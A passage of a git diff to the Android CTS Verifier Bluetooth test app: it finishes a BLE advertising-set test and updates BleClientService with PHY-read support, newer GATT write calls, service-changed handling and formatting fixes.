+        mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_PARAMS;
+        mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_PARAMS);
+
+        // Enable advertising before periodicAdvertising
+        // If the advertising set is not currently enabled (see the
+        // HCI_LE_Set_Extended_Advertising_Enable command), the periodic
+        // advertising is not started until the advertising set is enabled.
+        mCallback.mAdvertisingSet.get().enableAdvertising(true, /* duration= */ 0,
+                /* maxExtendedAdvertisingEvents= */ 0);
+
+        mCallback.mAdvertisingSet.get().setPeriodicAdvertisingEnabled(true);
+        assertTrue(mCallback.mPeriodicAdvertisingEnabledLatch.await(TIMEOUT_MS,
+                TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mPeriodicAdvertisingEnabledStatus.get());
+
+        mCallback.mAdvertisingSet.get().setPeriodicAdvertisingData(new AdvertiseData.Builder()
+                .build());
+        assertTrue(mCallback.mPeriodicAdvertisingDataSetLatch.await(TIMEOUT_MS,
+                TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mPeriodicAdvertisingDataSetStatus.get());
+
+        mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_DATA;
+        mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_DATA);
+
+        mCallback.mAdvertisingSet.get().setPeriodicAdvertisingEnabled(false);
+        // Disable advertising after periodicAdvertising
+        mCallback.mAdvertisingSet.get().enableAdvertising(false, /* duration= */ 0,
+                /* maxExtendedAdvertisingEvents= */ 0);
+        assertTrue(mCallback.mPeriodicAdvertisingDisabledLatch.await(TIMEOUT_MS,
+                TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mPeriodicAdvertisingDisabledStatus.get());
+
+        mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED;
+
+        mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED);
+    }
+
+    private void stopAdvertisingSet() throws InterruptedException {
+        mAdvertiser.stopAdvertisingSet(mCallback);
+        assertTrue(mCallback.mAdvertisingSetStoppedLatch.await(TIMEOUT_MS,
+                TimeUnit.MILLISECONDS));
+
+        mAllTestsPassed |= PASS_FLAG_STOP;
+        mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_STOP);
+    }
+
+    private List<Integer> setupTestList() {
+        List<Integer> testList = new ArrayList<>();
+        testList.add(R.string.ble_advertising_set_start);
+        testList.add(R.string.ble_advertising_set_enable_disable);
+        testList.add(R.string.ble_advertising_set_advertising_data);
+        testList.add(R.string.ble_advertising_set_advertising_params);
+        testList.add(R.string.ble_advertising_set_periodic_advertising_data);
+        testList.add(R.string.ble_advertising_set_periodic_advertising_enabled_disabled);
+        testList.add(R.string.ble_advertising_set_periodic_advertising_params);
+        testList.add(R.string.ble_advertising_set_scan_response_data);
+        testList.add(R.string.ble_advertising_set_stop);
+        return testList;
+    }
+
+    private static class TestAdvertisingSetCallback extends AdvertisingSetCallback {
+        public CountDownLatch mAdvertisingSetStartedLatch = new CountDownLatch(1);
+        public CountDownLatch mAdvertisingEnabledLatch = new CountDownLatch(1);
+        public CountDownLatch mAdvertisingDisabledLatch = new CountDownLatch(1);
+        public CountDownLatch mAdvertisingParametersUpdatedLatch = new CountDownLatch(1);
+        public CountDownLatch mAdvertisingDataSetLatch = new CountDownLatch(1);
+        public CountDownLatch mScanResponseDataSetLatch = new CountDownLatch(1);
+        public CountDownLatch mAdvertisingSetStoppedLatch = new CountDownLatch(1);
+        public CountDownLatch mPeriodicAdvertisingEnabledLatch = new CountDownLatch(1);
+        public CountDownLatch mPeriodicAdvertisingDisabledLatch = new CountDownLatch(1);
+        public CountDownLatch mPeriodicAdvertisingParamsUpdatedLatch = new CountDownLatch(1);
+        public CountDownLatch mPeriodicAdvertisingDataSetLatch = new CountDownLatch(1);
+
+        public AtomicInteger mAdvertisingSetStartedStatus = new AtomicInteger();
+        public AtomicInteger mAdvertisingEnabledStatus = new AtomicInteger();
+        public AtomicInteger mAdvertisingDisabledStatus = new AtomicInteger();
+        public AtomicInteger mAdvertisingParametersUpdatedStatus = new AtomicInteger();
+        public AtomicInteger mAdvertisingDataSetStatus = new AtomicInteger();
+        public AtomicInteger mScanResponseDataSetStatus = new AtomicInteger();
+        public AtomicInteger mPeriodicAdvertisingEnabledStatus = new AtomicInteger();
+        public AtomicInteger mPeriodicAdvertisingDisabledStatus = new AtomicInteger();
+        public AtomicInteger mPeriodicAdvertisingParamsUpdatedStatus = new AtomicInteger();
+        public AtomicInteger mPeriodicAdvertisingDataSetStatus = new AtomicInteger();
+
+        public AtomicReference<AdvertisingSet> mAdvertisingSet = new AtomicReference();
+
+        @Override
+        public void onAdvertisingSetStarted(AdvertisingSet advertisingSet, int txPower,
+                int status) {
+            super.onAdvertisingSetStarted(advertisingSet, txPower, status);
+            mAdvertisingSetStartedStatus.set(status);
+            mAdvertisingSet.set(advertisingSet);
+            mAdvertisingSetStartedLatch.countDown();
+        }
+
+        @Override
+        public void onAdvertisingEnabled(AdvertisingSet advertisingSet, boolean enable,
+                int status) {
+            super.onAdvertisingEnabled(advertisingSet, enable, status);
+            if (enable) {
+                mAdvertisingEnabledStatus.set(status);
+                mAdvertisingEnabledLatch.countDown();
+            } else {
+                mAdvertisingDisabledStatus.set(status);
+                mAdvertisingDisabledLatch.countDown();
+            }
+        }
+
+        @Override
+        public void onAdvertisingParametersUpdated(AdvertisingSet advertisingSet, int txPower,
+                int status) {
+            super.onAdvertisingParametersUpdated(advertisingSet, txPower, status);
+            mAdvertisingParametersUpdatedStatus.set(status);
+            mAdvertisingParametersUpdatedLatch.countDown();
+        }
+
+        @Override
+        public void onAdvertisingDataSet(AdvertisingSet advertisingSet, int status) {
+            super.onAdvertisingDataSet(advertisingSet, status);
+            mAdvertisingDataSetStatus.set(status);
+            mAdvertisingDataSetLatch.countDown();
+        }
+
+        @Override
+        public void onPeriodicAdvertisingParametersUpdated(AdvertisingSet advertisingSet,
+                int status) {
+            super.onPeriodicAdvertisingParametersUpdated(advertisingSet, status);
+            mPeriodicAdvertisingParamsUpdatedStatus.set(status);
+            mPeriodicAdvertisingParamsUpdatedLatch.countDown();
+        }
+
+        @Override
+        public void onPeriodicAdvertisingDataSet(AdvertisingSet advertisingSet, int status) {
+            super.onPeriodicAdvertisingDataSet(advertisingSet, status);
+            mPeriodicAdvertisingDataSetStatus.set(status);
+            mPeriodicAdvertisingDataSetLatch.countDown();
+        }
+
+        @Override
+        public void onPeriodicAdvertisingEnabled(AdvertisingSet advertisingSet, boolean enable,
+                int status) {
+            super.onPeriodicAdvertisingEnabled(advertisingSet, enable, status);
+            if (enable) {
+                mPeriodicAdvertisingEnabledStatus.set(status);
+                mPeriodicAdvertisingEnabledLatch.countDown();
+            } else {
+                mPeriodicAdvertisingDisabledStatus.set(status);
+                mPeriodicAdvertisingDisabledLatch.countDown();
+            }
+        }
+
+        @Override
+        public void onScanResponseDataSet(AdvertisingSet advertisingSet, int status) {
+            super.onScanResponseDataSet(advertisingSet, status);
+            mScanResponseDataSetStatus.set(status);
+            mScanResponseDataSetLatch.countDown();
+        }
+
+        @Override
+        public void onAdvertisingSetStopped(AdvertisingSet advertisingSet) {
+            super.onAdvertisingSetStopped(advertisingSet);
+            mAdvertisingSetStoppedLatch.countDown();
+        }
+
+        public void reset() {
+            mAdvertisingSetStartedLatch = new CountDownLatch(1);
+            mAdvertisingEnabledLatch = new CountDownLatch(1);
+            mAdvertisingParametersUpdatedLatch = new CountDownLatch(1);
+            mAdvertisingDataSetLatch = new CountDownLatch(1);
+            mPeriodicAdvertisingParamsUpdatedLatch = new CountDownLatch(1);
+            mPeriodicAdvertisingDataSetLatch = new CountDownLatch(1);
+            mPeriodicAdvertisingEnabledLatch = new CountDownLatch(1);
+            mPeriodicAdvertisingDisabledLatch = new CountDownLatch(1);
+            mScanResponseDataSetLatch = new CountDownLatch(1);
+
+            mAdvertisingSetStartedStatus = new AtomicInteger();
+            mAdvertisingEnabledStatus = new AtomicInteger();
+            mAdvertisingDisabledStatus = new AtomicInteger();
+            mAdvertisingParametersUpdatedStatus = new AtomicInteger();
+            mAdvertisingDataSetStatus = new AtomicInteger();
+            mPeriodicAdvertisingParamsUpdatedStatus = new AtomicInteger();
+            mPeriodicAdvertisingDataSetStatus = new AtomicInteger();
+            mPeriodicAdvertisingEnabledStatus = new AtomicInteger();
+            mPeriodicAdvertisingDisabledStatus = new AtomicInteger();
+            mScanResponseDataSetStatus = new AtomicInteger();
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index b87156d..21e2877 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -59,10 +59,12 @@
     // (termination signal will not be sent)
     // This flag switches to turn Bluetooth off instead of BluetoothGatt#disconnect().
     // If true, test will turn Bluetooth off. Otherwise, will call BluetoothGatt#disconnect().
-    public static final boolean DISCONNECT_BY_TURN_BT_OFF_ON = (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);
+    public static final boolean DISCONNECT_BY_TURN_BT_OFF_ON =
+            (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);
 
     // for Version 1 test
-//    private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_AUTO;
+//    private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice
+//    .TRANSPORT_AUTO;
     // for Version 2 test
     private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_LE;
 
@@ -116,6 +118,10 @@
             "com.android.cts.verifier.bluetooth.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED";
     public static final String BLE_READ_REMOTE_RSSI =
             "com.android.cts.verifier.bluetooth.BLE_READ_REMOTE_RSSI";
+    public static final String BLE_PHY_READ =
+            "com.android.cts.verifier.bluetooth.BLE_PHY_READ";
+    public static final String BLE_PHY_READ_SKIPPED =
+            "com.android.cts.verifier.bluetooth.BLE_PHY_READ_SKIPPED";
     public static final String BLE_ON_SERVICE_CHANGED =
             "com.android.cts.verifier.bluetooth.BLE_ON_SERVICE_CHANGED";
     public static final String BLE_CHARACTERISTIC_READ_NOPERMISSION =
@@ -174,22 +180,28 @@
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR";
     public static final String BLE_CLIENT_ACTION_READ_RSSI =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_RSSI";
+    public static final String BLE_CLIENT_ACTION_READ_PHY =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_PHY";
     public static final String BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED";
     public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
     public static final String BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION =
-            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION";
     public static final String BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION =
-            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION";
     public static final String BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION";
     public static final String BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION";
     public static final String BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC =
-            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC";
     public static final String BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC =
-            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC";
     public static final String BLE_CLIENT_ACTION_READ_AUTHENTICATED_DESCRIPTOR =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_AUTHENTICATED_DESCRIPTOR";
     public static final String BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR =
@@ -201,6 +213,10 @@
             "com.android.cts.verifier.bluetooth.EXTRA_DESCRIPTOR_VALUE";
     public static final String EXTRA_RSSI_VALUE =
             "com.android.cts.verifier.bluetooth.EXTRA_RSSI_VALUE";
+    public static final String EXTRA_TX_PHY_VALUE =
+            "com.android.cts.verifier.bluetooth.EXTRA_TX_PHY_VALUE";
+    public static final String EXTRA_RX_PHY_VALUE =
+            "com.android.cts.verifier.bluetooth.EXTRA_RX_PHY_VALUE";
     public static final String EXTRA_ERROR_MESSAGE =
             "com.android.cts.verifier.bluetooth.EXTRA_ERROR_MESSAGE";
 
@@ -274,7 +290,7 @@
             UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
 
     private static final UUID SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID =
-        UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
+            UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
 
     private static final UUID UPDATE_DESCRIPTOR_UUID =
             UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
@@ -315,7 +331,7 @@
     private static final int SERVICE_CHANGED_FLAG_TRIGGER_ACTION = 0x01;
     private static final int SERVICE_CHANGED_FLAG_ON_SERVICE_CHANGED = 0x02;
     private static final int SERVICE_CHANGED_FLAG_ALL = 0x03;
-    private static final int SERVOCE_CHANGED_FLAG_IGNORE = 0xFF;
+    private static final int SERVICE_CHANGED_FLAG_IGNORE = 0xFF;
     private int mServiceChangedFlag;
 
     private enum ReliableWriteState {
@@ -330,7 +346,8 @@
     public void onCreate() {
         super.onCreate();
 
-        registerReceiver(mBondStatusReceiver, new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
+        registerReceiver(mBondStatusReceiver,
+                new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
 
         mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
         mBluetoothAdapter = mBluetoothManager.getAdapter();
@@ -395,7 +412,7 @@
                             reliableWrite();
                         }
                     });
-                break;
+                    break;
                 case BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC:
                     setNotification(INDICATE_CHARACTERISTIC_UUID, true);
                     break;
@@ -407,15 +424,20 @@
                             mNotifyCount = 16;
                             setNotification(UPDATE_CHARACTERISTIC_UUID, true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_1, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_1,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_2, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_2,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_3, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_3,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_4, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_4,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_5, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_5,
+                                    true);
                             waitForDisableNotificationCompletion();
                             setNotification(UPDATE_CHARACTERISTIC_UUID_6, true);
                             waitForDisableNotificationCompletion();
@@ -427,19 +449,24 @@
                             waitForDisableNotificationCompletion();
                             setNotification(UPDATE_CHARACTERISTIC_UUID_10, true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_11, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_11,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_12, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_12,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_13, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_13,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_14, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_14,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_15, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_15,
+                                    true);
                             waitForDisableNotificationCompletion();
                         }
                     });
-                break;
+                    break;
                 case BLE_CLIENT_ACTION_READ_DESCRIPTOR:
                     readDescriptor(DESCRIPTOR_UUID);
                     break;
@@ -478,7 +505,13 @@
                     readDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_READ_UUID);
                     break;
                 case BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR:
-                    writeDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
+                    writeDescriptor(CHARACTERISTIC_RESULT_UUID,
+                            DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
+                    break;
+                case BLE_CLIENT_ACTION_READ_PHY:
+                    if (mBluetoothGatt != null) {
+                        mBluetoothGatt.readPhy();
+                    }
                     break;
                 case BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED:
                     initializeServiceChangedEvent();
@@ -507,18 +540,35 @@
         mTaskQueue.quit();
     }
 
-    public static BluetoothGatt connectGatt(BluetoothDevice device, Context context, boolean autoConnect, boolean isSecure, BluetoothGattCallback callback) {
+    /**
+     * Connect to GATT Server hosted by this device. Caller acts as GATT client.
+     * The callback is used to deliver results to Caller, such as connection status as well
+     * as any further GATT client operations.
+     * The method returns a BluetoothGatt instance. You can use BluetoothGatt to conduct
+     * GATT client operations.
+     *
+     * @param callback GATT callback handler that will receive asynchronous callbacks.
+     * @param autoConnect Whether to directly connect to the remote device (false) or to
+     * automatically connect as soon as the remote device becomes available (true).
+     * @param isSecure Whether to use transport mode for secure connection (true or false)
+     * @throws IllegalArgumentException if callback is null
+     */
+    public static BluetoothGatt connectGatt(BluetoothDevice device, Context context,
+            boolean autoConnect, boolean isSecure, BluetoothGattCallback callback) {
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
             if (isSecure) {
                 if (TRANSPORT_MODE_FOR_SECURE_CONNECTION == BluetoothDevice.TRANSPORT_AUTO) {
-                    Toast.makeText(context, "connectGatt(transport=AUTO)", Toast.LENGTH_SHORT).show();
+                    Toast.makeText(context, "connectGatt(transport=AUTO)",
+                            Toast.LENGTH_SHORT).show();
                 } else {
                     Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
                 }
-                return device.connectGatt(context, autoConnect, callback, TRANSPORT_MODE_FOR_SECURE_CONNECTION);
+                return device.connectGatt(context, autoConnect, callback,
+                        TRANSPORT_MODE_FOR_SECURE_CONNECTION);
             } else {
                 Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
-                return device.connectGatt(context, autoConnect, callback, BluetoothDevice.TRANSPORT_LE);
+                return device.connectGatt(context, autoConnect, callback,
+                        BluetoothDevice.TRANSPORT_LE);
             }
         } else {
             Toast.makeText(context, "connectGatt", Toast.LENGTH_SHORT).show();
@@ -553,16 +603,22 @@
         }
     }
 
-    private void writeCharacteristic(BluetoothGattCharacteristic characteristic, String writeValue) {
+    private void writeCharacteristic(BluetoothGattCharacteristic characteristic,
+            String writeValue) {
         if (characteristic != null) {
+            // Note: setValue() should not be necessary when using writeCharacteristic(byte[]) which
+            // is added on Android T, but here we call the method in order to make the test
+            // easier to read. Otherwise, we should verify the written value by calling
+            // readCharacteristic() but that makes the whole test hard to read.
             characteristic.setValue(writeValue);
-            mBluetoothGatt.writeCharacteristic(characteristic);
+            mBluetoothGatt.writeCharacteristic(characteristic, writeValue.getBytes(),
+                    characteristic.getWriteType());
         }
     }
 
     private void writeCharacteristic(UUID uid, String writeValue) {
         BluetoothGattCharacteristic characteristic = getCharacteristic(uid);
-        if (characteristic != null){
+        if (characteristic != null) {
             writeCharacteristic(characteristic, writeValue);
         }
     }
@@ -577,8 +633,12 @@
     private void writeDescriptor(UUID uid, String writeValue) {
         BluetoothGattDescriptor descriptor = getDescriptor(uid);
         if (descriptor != null) {
+            // Note: setValue() should not be necessary when using writeDescriptor(byte[]) which
+            // is added on Android T, but here we call the method in order to make the test
+            // easier to read. Otherwise, we should verify the written value by calling
+            // readDescriptor() but that makes the whole test hard to read.
             descriptor.setValue(writeValue.getBytes());
-            mBluetoothGatt.writeDescriptor(descriptor);
+            mBluetoothGatt.writeDescriptor(descriptor, writeValue.getBytes());
         }
     }
 
@@ -592,8 +652,12 @@
     private void writeDescriptor(UUID cuid, UUID duid, String writeValue) {
         BluetoothGattDescriptor descriptor = getDescriptor(cuid, duid);
         if (descriptor != null) {
+            // Note: setValue() should not be necessary when using writeDescriptor(byte[]) which
+            // is added on Android T, but here we call the method in order to make the test
+            // easier to read. Otherwise, we should verify the written value by calling
+            // readDescriptor() but that makes the whole test hard to read.
             descriptor.setValue(writeValue.getBytes());
-            mBluetoothGatt.writeDescriptor(descriptor);
+            mBluetoothGatt.writeDescriptor(descriptor, writeValue.getBytes());
         }
     }
 
@@ -631,22 +695,23 @@
         synchronized (mServiceChangedLock) {
             mServiceChangedFlag |= flag;
             if (mServiceChangedFlag == SERVICE_CHANGED_FLAG_ALL) {
-                mServiceChangedFlag |= SERVOCE_CHANGED_FLAG_IGNORE;
+                mServiceChangedFlag |= SERVICE_CHANGED_FLAG_IGNORE;
                 shouldSend = true;
             }
         }
 
         if (shouldSend) {
+            // This is to send result to the connected GATT server.
             writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
-                SERVICE_CHANGED_VALUE);
-            notifyServiceChanged();
+                    SERVICE_CHANGED_VALUE);
         }
     }
 
     private void setNotification(BluetoothGattCharacteristic characteristic, boolean enable) {
         if (characteristic != null) {
             mBluetoothGatt.setCharacteristicNotification(characteristic, enable);
-            BluetoothGattDescriptor descriptor = characteristic.getDescriptor(UPDATE_DESCRIPTOR_UUID);
+            BluetoothGattDescriptor descriptor = characteristic.getDescriptor(
+                    UPDATE_DESCRIPTOR_UUID);
             if (enable) {
                 if (characteristic.getUuid().equals(INDICATE_CHARACTERISTIC_UUID)) {
                     descriptor.setValue(BluetoothGattDescriptor.ENABLE_INDICATION_VALUE);
@@ -660,8 +725,9 @@
         }
     }
 
-    private void setNotification(UUID serviceUid, UUID characteristicUid,  boolean enable) {
-        BluetoothGattCharacteristic characteristic = getCharacteristic(serviceUid, characteristicUid);
+    private void setNotification(UUID serviceUid, UUID characteristicUid, boolean enable) {
+        BluetoothGattCharacteristic characteristic = getCharacteristic(serviceUid,
+                characteristicUid);
         if (characteristic != null) {
             setNotification(characteristic, enable);
         }
@@ -670,7 +736,7 @@
     private void setNotification(UUID uid, boolean enable) {
         BluetoothGattCharacteristic characteristic = getCharacteristic(uid);
         if (characteristic != null) {
-           setNotification(characteristic, enable);
+            setNotification(characteristic, enable);
         }
     }
 
@@ -835,6 +901,20 @@
         sendBroadcast(intent);
     }
 
+    private void notifyPhyRead(int txPhy, int rxPhy) {
+        showMessage("Phy read: txPhy=" + txPhy + ", rxPhy=" + rxPhy);
+        Intent intent = new Intent(BLE_PHY_READ);
+        intent.putExtra(EXTRA_TX_PHY_VALUE, txPhy);
+        intent.putExtra(EXTRA_RX_PHY_VALUE, rxPhy);
+        sendBroadcast(intent);
+    }
+
+    private void notifyPhyReadSkipped() {
+        showMessage("Phy read not supported. Skipping the test.");
+        Intent intent = new Intent(BLE_PHY_READ_SKIPPED);
+        sendBroadcast(intent);
+    }
+
     private void notifyServiceChanged() {
         showMessage("Remote service changed");
         Intent intent = new Intent(BLE_ON_SERVICE_CHANGED);
@@ -877,6 +957,7 @@
         }
         return characteristic;
     }
+
     private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
         BluetoothGattCharacteristic characteristic = null;
 
@@ -956,7 +1037,11 @@
     private final BluetoothGattCallback mGattCallbacks = new BluetoothGattCallback() {
         @Override
         public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
-            if (DEBUG) Log.d(TAG, "onConnectionStateChange: status= " + status + ", newState= " + newState);
+            super.onConnectionStateChange(gatt, status, newState);
+            if (DEBUG) {
+                Log.d(TAG,
+                        "onConnectionStateChange: status= " + status + ", newState= " + newState);
+            }
             if (status == BluetoothGatt.GATT_SUCCESS) {
                 if (newState == BluetoothProfile.STATE_CONNECTED) {
                     mBleState = newState;
@@ -998,10 +1083,12 @@
 
         @Override
         public void onServicesDiscovered(BluetoothGatt gatt, int status) {
-            if (DEBUG){
+            super.onServicesDiscovered(gatt, status);
+            if (DEBUG) {
                 Log.d(TAG, "onServiceDiscovered");
             }
-            if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID) != null)) {
+            if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID)
+                    != null)) {
                 notifyServicesDiscovered();
             }
         }
@@ -1009,7 +1096,7 @@
         @Override
         public void onMtuChanged(BluetoothGatt gatt, int mtu, int status) {
             super.onMtuChanged(gatt, mtu, status);
-            if (DEBUG){
+            if (DEBUG) {
                 Log.d(TAG, "onMtuChanged");
             }
             if (status == BluetoothGatt.GATT_SUCCESS) {
@@ -1036,15 +1123,31 @@
         }
 
         @Override
-        public void onCharacteristicWrite(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, final int status) {
+        public void onCharacteristicWrite(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic, final int status) {
+            super.onCharacteristicWrite(gatt, characteristic, status);
             String value = characteristic.getStringValue(0);
             final UUID uid = characteristic.getUuid();
             if (DEBUG) {
-                Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
+                Log.d(TAG,
+                        "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
             }
 
             if (BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED.equals(mCurrentAction)) {
-                sendServiceChangedEventIfReady(SERVICE_CHANGED_FLAG_TRIGGER_ACTION);
+                if (SERVICE_CHANGED_VALUE.equals(value)) {
+                    if (status == BluetoothGatt.GATT_SUCCESS) {
+                        // Waits until the GATT server sends the response, we can then do notify.
+                        notifyServiceChanged();
+                    } else {
+                        notifyError("Failed to send result for service changed event");
+                    }
+                } else {
+                    // The reason not to check the status code is that we know there is a service
+                    // changed event coming later, sometimes the status code will be modified by
+                    // bt stack (133), but it's ok, as long as onServiceChanged is called, we then
+                    // know the request is successfully sent during this test session.
+                    sendServiceChangedEventIfReady(SERVICE_CHANGED_FLAG_TRIGGER_ACTION);
+                }
             } else if (BLE_CLIENT_ACTION_REQUEST_MTU_512.equals(mCurrentAction) ||
                     BLE_CLIENT_ACTION_REQUEST_MTU_23.equals(mCurrentAction)) {
                 if (status == BluetoothGatt.GATT_SUCCESS) {
@@ -1056,11 +1159,14 @@
                 switch (mExecReliableWrite) {
                     case RELIABLE_WRITE_NONE:
                         if (status == BluetoothGatt.GATT_SUCCESS) {
-                            if (characteristic.getUuid().equals(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
+                            if (characteristic.getUuid().equals(
+                                    CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
                                 notifyCharacteristicWriteNeedEncrypted(value);
